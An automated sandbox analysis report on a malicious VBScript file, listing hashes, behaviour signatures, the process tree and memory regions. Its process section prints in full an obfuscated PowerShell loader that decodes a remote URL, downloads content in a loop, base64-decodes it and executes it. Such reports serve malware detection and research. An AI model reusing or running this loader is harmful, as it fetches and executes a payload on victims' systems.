Analysis

  • max time kernel
    149s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    01-11-2024 15:25

General

  • Target

    Patruljefrer.vbs

  • Size

    67KB

  • MD5

    dc3c11c4fe11f72749d759a975e477f0

  • SHA1

    254baa6b1d875e004af665c120da7db6409cc73b

  • SHA256

    301c2c3ec7ac65bb681f01f1262b110e86822685101b37b8677422e10bacdb33

  • SHA512

    6a188b369fc07ee9cc5d111b6296833a91e9a82c722e5abb31fce4326e84c25749d9904fdd0e2c35803e3098bdf9971ae7a51834c98faa68a5bc52fea9ce1c0d

  • SSDEEP

    768:5SyQW9Cef223W+Tgk22+YmtCVMcS8Wxb8ilEq+/nenRmHtDpIWMz/a3mSO:5SyQQNxnWv8u8iuqCnX3Mz/ItO

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Patruljefrer.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2116
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Commemorators Brandsprjterne Englevinges Hoarsely Orthis Linjetllere Plaiter #>;$Crystallod='Lucie';<#Euler Showcasing Acouophonia Diaporthe Cott Barbens Ubevogtede #>; function Gulaks($Bedagets){If ($host.DebuggerEnabled) {$Plungingly++;}$Morcellation=$Tyranniernes+$Bedagets.'Length'-$Plungingly; for ( $Tankvognskrselsulykke=4;$Tankvognskrselsulykke -lt $Morcellation;$Tankvognskrselsulykke+=5){$Debattens=$Tankvognskrselsulykke;$Yammerly+=$Bedagets[$Tankvognskrselsulykke];}$Yammerly;}function Asylansgernes($selvstartere){ . ($Deontic) ($selvstartere);}$Timeling=Gulaks 'Un,fMTilso DadzFalsiCosmlUnwil ForaAwha/Omlb ';$holobaptist=Gulaks 'P odT UdrlAsp sPseu1Aftj2Napo ';$tinglysning='Elle[KvikNB otE E.tTBocc. PylSBlokEHousr uknvCastIUi,ecFjereF olPRaadONectiUnscN HelT StaMB llAU gaNA chAKultgNoncERiddRF am]Udva:Ador:.aadSSemiEIronC.topuSky.rStbdiPapiTBla yBo.aPvarirF jloScinTM ljO ca C CaroBajalTrag=Kis.$Fil Hbarro La.lBe,oOselsbpockaRes pAnalTAddii onksCivitAste ';$Timeling+=Gulaks ' Sto5Rece.Afla0 C u Regn(N npWDiviiPic,n,avtdFi kosko w AddsShow BenzNKumkT uk ra1 ps0Hvid. lan0Letv; Roo FgteW DrfiAllinAugu6Cere4 ca ;Uns. IndoxSen,6,esp4 Ase;pis ReoprEpigvSmad: A r1,lup3.ark1Chit.Rodo0paus)Ru f Skr,G C.teSpeecProskLenno B u/ Ho,2H.mo0Dose1 Soo0H.fm0Proc1 le0Maso1Fide A.taFStatiSum rL oiekenefAfkroShrixMisw/ Lus1 Ban3 Ind1 lu.M ns0Tipp ';$traktorfrers=Gulaks 'To,eU K nsO tlE VairOr r-lo fAAsbeGLovne,ispnEmbetShan ';$Vanskeligjorte=Gulaks 'Eca,hMisvt psptGlypp recsVrng: Bit/ U e/Dob fCheriRes lEffeePseud krinHamb.AnveePostuPhen/LowllFort9Jet,t kolECephwR.knb.utl9AnursNasu6R,klaMispa StrR W iw,raf5M,dafMu,iyPrinUSikkiBesiaGr,lCAlt 0 SlglD rmf Sue/ErytMSk baIm enBinoaV,gnmTelerArb.. foraHa ds emdSali ';$Mormoness=Gulaks 'Alme> I m ';$Deontic=Gulaks ' KrsiGranE anaXG ll ';$Bromocamphor='Wapper64';$Classicalize='\brucite.Spi';Asylansgernes (Gulaks 'Skar$BiblG .otl SphoJenfBRamua ForlNarc:EndobFazirUnb E l mvAf,ts hypaUng.m apLColaI AlgN CorGIndaEfu,frPel =Tigr$TaureSkabnvalmV ing:ZoanAAstoPRekvp akld Re,aRbart oorAEksp+Test$Ind.CFug,LpresaProgSFrstsPhiliQu,dC rylAMukkL SynIShriZTankETurn ');Asylansgernes (Gulaks 'skov$F vegKandlHaarOProtBGendAAffaLGen,:M.ngpTvaniHyreXUd iI exaLRehaaForhTAng i Sp.OS vsnu li=Unla$UnalVLevoAGeornFrayS KojkSilkeInciLHelviL ntGAma.JLideOFjl rTomaTUn,ie Ne..klasSKomppDe olHy oISil TModb(Arit$Sup M xemoEranRSke MBrodOTramnAttieConjS haiS Uds)Mats ');Asylansgernes (Gulaks $tinglysning);$Vanskeligjorte=$Pixilation[0];$Starik=(Gulaks 'Virk$ A,rg .sbLEkseo An b KloaEnthlChor:Sem PCor lK,lkaUsenN Un.L F lgG dt= M tNKor.e auWRefl-StanoSkraBSkb,JMembeRaesCSksttKneb BarSDrosYRoulS toTHepae sneMSman. Ge nSk lE Re TAcup.FeltWFortE Hj.b.aasC bacLPlanihypoEFe,rnD xaT chi ');Asylansgernes ($Starik);Asylansgernes (Gulaks 'Rytt$RibbPSektl Sena ,agnRensl nelgGrit.Dem.HDolieOp raUd id.reeeKa.arPsycs M n[Vand$KatatResurDranaFo kkBehatJismo Affr S nfGra,rS,heeSim rManus Hea]Muls= Try$PicuT IndiMonemscuteCorrlCaraiagitnHaevgKl r ');$Kapitalindkomsternes=Gulaks 'Genn$HaakPUdsul S oaEsten chilUncagProt. TriD ttoLegawHypsn,stil FreovandaPljedFremF Peri.errl ttneUnch( Tar$Org VSotta .lin efusIntek staeProclGummiU magRodfjGa toJeler StotStr e J,t,Cova$Versf pred AltrStrieL tbl ukaaTi dnOmp dre,ls onih Lanivriss irotResso echrKongiIthieAm urBr ss ,je)Moto ';$fdrelandshistoriers=$Brevsamlinger;Asylansgernes (Gulaks 'Cig $Vindggut.LChy,O Va,BAmp AStifLAfgr:M,emRH atEElevG UdeIBa ruAfh sB ia=Attr(klemtBordE RntsV veT nbr-GurgP ostaIn stS keHMask Carc$Pr bF,emodNonlRPeriEma iLCoveAShaynKln D SalS oonHP.odIBrudSUselTDireO krir Verip.alEDracrdicls F g)fro ');while (!$Regius) {Asylansgernes (Gulaks ' Bor$ButagGravl El.oDekabHella lilDiab:PitfSLandtN nerSponaBelunSemidCha e ialsRubi2semi5Honc5an.t=Beun$ oistCollrA uiusystePo.r ') ;Asylansgernes $Kapitalindkomsternes;Asylansgernes (Gulaks ' FooSDrmaTL,isABiogrGriftUdpi-UndeSSkolLGageeK.ngeAt.mp ,am U in4 Fru ');Asylansgernes (Gulaks 'Bung$ Allg .erL,opiODrisBDista .ddlGyro:,dmirKyleeVideGHebrIHjl.UhvilsBehf= Lin( In Tprepeunmes Dert spr-H ulPBarbaSuriTEthnhAnbr Galu$KermfGa pDValuRtri,e SmilImplaBirlNSa tDDrudsMotih R.oI AflsLimpTIrreOWolfr.euri Y,ee De RTi.bSskam)Bran ') ;Asylansgernes (Gulaks 'P il$ Crag Tr,L Lbeo BerbNoema FisLNor.: MeaSRanspH ttHS.geaLingE Scor LikICroua Vatc Fi EtidsaForlE Ud = ven$ForrGM anL F aO GanbOn,mA AfsLUnta:mrkeTFagse SkaNHollIBindaDuck+ D v+P,yc% Kan$Kun PMenei GulxChikIMis,LAigla,want,oulIUn uOtradNBogk.EgercDep.oTr.lUA,thnM.cktT,iv ') ;$Vanskeligjorte=$Pixilation[$Sphaeriaceae];}$handyrene=329247;$Cyclop=29188;Asylansgernes (Gulaks 'Murl$ TriG Wo,l OpsOTangBCarda .roLEfte: StoBHandISpe.CBarmhArreoStifrarbeDSpkl Guds=Be c CliGSkatEDeliT Fre-D ciC ge O KaunSkrut,ousEBiblnA,thtFree El g$IndgfRysldSangr tanER.alLNon,a DennPrakDEloksSt.nHHa oika tS hetTK,okoH miR Mi i alseSkrur QuisSkim ');Asylansgernes (Gulaks 'Lnpo$ ahlgSt.dl ,lkoN nrb ittaskd l Dis:DiskAUdpunDisesAccevErenaUdslr Phel UliiPar,gmalksSaugtMor e FadsKato Str =G,mo anac[UntrS CryySupps SkytEntyeLifemCocc.MuhaCAks.orentn HenvAntieb.lsrSubstData]Fisk:Jeps: DisFObdurRetioAxi.mSkraBAl,haD mmsUp.oeDist6 to,4.kiaSWarftBi tr naci ndinMoungHy,g( Lok$D niB TidiImmuc DauhBengoOverrZirkdNoth)Afd ');Asylansgernes (Gulaks ' No $BrndgUncoLSacrOWellBCoraA PhoLprew:Tvelt LreEVrd.M Tasp,andeGrenLtr nhHul,aDr fLVitaL loceS niRSnut Grnf=K le Resk[R nsSSimuyPe.mSLamatColoE Socmdrif.TailTClaneEndoXDecetNons.verdE knoNFoelCThruoStraD Stei BevNDobbg,nti] Ven:Ford: O eaOverSNeocCAlleiTogbIToil.Bedeg CirE Be t,ermsCharTCurerPre IKngtN RivgCoad(Disr$Bo,dAH tbnStvnS jeV raaOn wR,toml taaIdrungGrusSTripTDentEUnd SOpkl)Ple, ');Asylansgernes (Gulaks 'd kt$OvalgFou lKunsOEti,bReenAFrgelExto:mi ikEmbooOvernMusiKUnprU AbrrApter ChaEKom,NMeetCCheeE ArkdKremyFrosgS.ertFo,aiHjspGGrane KreSInte=Foru$Inmit nydeOdonMUnbePFleaE O,eLremoh Sexa Un,lBoggLGladeLo eRnatu.Hypps FluuRingb osfsRandt ommr A.rIAmphN hysgPest(Phos$LoimHUnagaFatinSubfdJordyBrinrPa eeCo tNSerieBytt,Ocul$KammC porYEllicT anLRecooT.umPOver) rej ');Asylansgernes $Konkurrencedygtiges;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2496

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\Cab95BC.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • memory/2496-20-0x000007FEF53CE000-0x000007FEF53CF000-memory.dmp

    Filesize

    4KB

  • memory/2496-21-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2496-22-0x000000001B3F0000-0x000000001B6D2000-memory.dmp

    Filesize

    2.9MB

  • memory/2496-23-0x0000000002290000-0x0000000002298000-memory.dmp

    Filesize

    32KB

  • memory/2496-24-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2496-25-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2496-26-0x000007FEF53CE000-0x000007FEF53CF000-memory.dmp

    Filesize

    4KB

  • memory/2496-27-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2496-28-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2496-29-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2496-30-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2496-31-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

    Filesize

    9.6MB